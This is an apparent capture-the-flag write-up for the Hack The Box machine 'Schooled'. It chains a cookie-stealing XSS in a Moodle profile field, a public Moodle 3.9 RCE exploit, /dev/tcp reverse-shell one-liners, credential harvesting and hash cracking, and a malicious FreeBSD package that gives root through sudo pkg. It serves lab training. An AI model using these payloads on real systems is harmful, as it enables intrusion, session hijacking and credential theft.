Schooled

We exploit an XSS in Moodle to steal a session cookie and a Moodle 3.9 CVE that leads to RCE. For privilege escalation, we become root through the pkg command, due to misconfigured permissions in /etc/sudoers
March 28, 20248 minutes
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
> ping -c 1 10.10.10.234
PING 10.10.10.234 (10.10.10.234) 56(84) bytes of data.
64 bytes from 10.10.10.234: icmp_seq=1 ttl=63 time=36.3 ms
--- 10.10.10.234 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 36.284/36.284/36.284/0.000 ms
We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux
Port scan
Now we start with a port scan
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.234 -oG allPorts
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip checking whether the host is up |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.234
5 │ [*] Open ports: 22,80,33060
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts
> nmap -p22,80,33060 -sCV 10.10.10.234 -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Schooled - A new kind of educational institute
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The open ports found in the previous scan |
| -sC | Run basic reconnaissance scripts |
| -sV | Report the version and details of the services running on the ports |
So it turns out it isn’t Linux after all: nmap has detected that we are dealing with FreeBSD
Port 80
If we look at the website in the browser, it is a very simple page without any feature that stands out. At this point, we can use whatweb to try to get some information
> whatweb 10.10.10.234
http://10.10.10.234 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], Email[#,[email protected]], HTML5, HTTPServer[FreeBSD][Apache/2.4.46 (FreeBSD) PHP/7.4.15], IP[10.10.10.234], PHP[7.4.15], Script, Title[Schooled - A new kind of educational institute], X-UA-Compatible[IE=edge]
Of all the information gathered, what stands out most is the email address [email protected], since it reveals a domain: schooled.htb. Starting from this domain, we look for subdomains with wfuzz
echo "10.10.10.234 schooled.htb" >> /etc/hosts
> wfuzz -c -t 20 --hc=404 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.schooled.htb" http://schooled.htb/
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000015: 200 461 L 1555 W 20750 Ch "ns"
000000031: 200 461 L 1555 W 20750 Ch "mobile"
000000001: 200 461 L 1555 W 20750 Ch "www"
000000003: 200 461 L 1555 W 20750 Ch "ftp"
000000007: 200 461 L 1555 W 20750 Ch "webdisk"
000000040: 200 461 L 1555 W 20750 Ch "ns4"
All the subdomains return a 200 status code, so we’ll filter the responses by something other than the status code. For example, we can filter by the number of characters and hide all responses with 20750 characters: --hh20750
> wfuzz -c -t 20 --hh=20750 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.schooled.htb" http://schooled.htb/
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000162: 200 1 L 5 W 84 Ch "moodle"
We have a subdomain: moodle
echo "10.10.10.234 schooled.htb moodle.schooled.htb" >> /etc/hosts
This subdomain has Moodle installed.
To browse Moodle, we create an account.
Inside the math course there is the following message

Este es un curso de autoinscripción. Para los estudiantes que deseen asistir a mis conferencias, asegúrese de tener configurado su perfil de MoodleNet.
Los estudiantes que no configuren sus perfiles de MoodleNet serán eliminados del curso antes de que comience el curso y verificaré a todos los estudiantes que estén inscritos en este curso.
Esperamos verlos a todos pronto.
manuel phillips
In our profile settings, we edit the MoodleNet profile. The note mentions that the teacher checks the MoodleNet profiles, so we can try an XSS to steal the teacher’s cookie


This confirms we can do an XSS.
To steal the teacher’s session cookie and hijack their account, we’ll use the following payload
<img src=x onerror=this.src='http://10.10.14.20/input.php?cookie='+document.cookie>
Then we start an HTTP server with Python to receive the request with the cookie
> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.234 - - [07/Apr/2024 21:13:44] "GET /input.php?cookie=MoodleSession=j7br6s51ia212og0ghc8htd1f8 HTTP/1.1" 200 -
Now we have the cookie and can hijack Manuel Phillips’s session
Checking /theme/upgrade.txt, we find the Moodle version: 3.9
> curl moodle.schooled.htb/moodle/theme/upgrade.txt
This files describes API changes in /theme/* themes,
information provided here is intended especially for theme designer.
=== 3.9 ===
Searching with searchsploit, we find an exploit for that version
> searchsploit moodle 3.9
----------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------- ---------------------------------
Moodle 3.9 - Remote Code Execution (RCE) (Authenticated) | php/webapps/50180.py
----------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
> python3 50180.py http://moodle.schooled.htb/moodle --cookie 4ai0o3jlkpct1pcv6a2go5c687
__ __ __ __ __ __ __ __
/ \ /|_ __ _) / \ _) / \ __ /| |__| _) _) /|
\__ \/ |__ /__ \__/ /__ \__/ | | __) /__ | • by lanz
Moodle 3.9 - Remote Command Execution (Authenticated as teacher)
Course enrolments allowed privilege escalation from teacher role into manager role to RCE
[+] Login on site: MoodleSession:4ai0o3jlkpct1pcv6a2go5c687 ✓
[+] Updating roles to move on manager accout: ✓
[+] Updating rol manager to enable install plugins: ✓
[+] Uploading malicious .zip file: ✓
[+] Executing whoami: ✓
www
[+] Keep breaking ev3rYthiNg!!
The exploit worked!
To receive the reverse shell, we listen on port 443
nc -nlvp 443
Finally, taking advantage of the plugin the exploit uploaded to run commands, we’ll run the command that sends us the reverse shell
bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"
curl "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.8%2F443%200%3E%261%27"
Privilege escalation
To improve the console we’ll use the usual command python3 -c 'import pty;pty.spawn("bash")'
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ python3 -c 'import pty;pty.spawn("bash")'
bash: python3: command not found
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ which python3
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ which python
It seems Python isn’t installed, but if we search for it with find, it does exist
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ find / -name python3 2>/dev/null
/usr/local/bin/python3
This is because /usr/local/bin isn’t in the PATH
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ echo $PATH
/sbin:/bin:/usr/sbin:/usr/bin
So to run the previous command we need to specify the full path
/usr/local/bin/python3 -c 'import pty;pty.spawn("bash")'
[www@Schooled /]$ ^Z
zsh: suspended nc -nlvp 443
> stty raw -echo; fg
[1] + continued nc -nlvp 443
reset
Now we have a proper shell, but we still can’t use ctrl + l. To fix it, we run the following so that TERM is xterm and SHELL is bash
[www@Schooled /]$ export TERM=xterm
[www@Schooled /]$ export SHELL=bash
Inside Moodle’s config.php file we find the database credentials
[www@Schooled /usr/local/www/apache24/data/moodle]$ cat config.php
<?php // Moodle configuration file
unset($CFG);
global $CFG;
$CFG = new stdClass();
$CFG->dbtype = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'moodle';
$CFG->dbpass = 'PlaybookMaster2020';
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
We connect
mysql -u moodle -p
We select the moodle database
moodle@localhost [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| moodle |
+--------------------+
moodle@localhost [(none)]> use moddle
Then we query the users table
moodle@localhost [moodle]> select * from mdl_user;
Inside there is a user called Jamie, who also happens to exist on the system
[www@Schooled /usr/local/www/apache24/data/moodle]$ cat /etc/passwd | grep jamie
jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh
So what we’ll do is take their hash from the database and save it in a file called hash, to crack it later with john
> john --wordlist=/usr/share/wordlists/rockyou.txt hash
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx (?)
Now we have their password; we can check whether they use the same password on the system
> ssh [email protected]
([email protected]) Password for jamie@Schooled:
jamie@Schooled:~ $
They do use the same password
With sudo -l we see that jamie is allowed to run two commands
jamie@Schooled:/tmp $ sudo -l
User jamie may run the following commands on Schooled:
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *
A quick search on GTFOBins shows that we can abuse pkg to escalate privileges.
To escalate privileges, we’ll create a FreeBSD package that contains a command to send us a reverse shell
TF=$(mktemp -d)
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.14/443 0>&1"' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
We copy this package to the target machine, for example through a Python server.
curl 10.10.14.14/x-1.0.txz --output x-1.0.txz
Finally, we listen with nc (’nc -nlvp 443’) and install the package
sudo pkg install -y --no-repo-update ./x-1.0.txz
We get the shell as root!
> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.234] 15909
[root@Schooled /tmp]#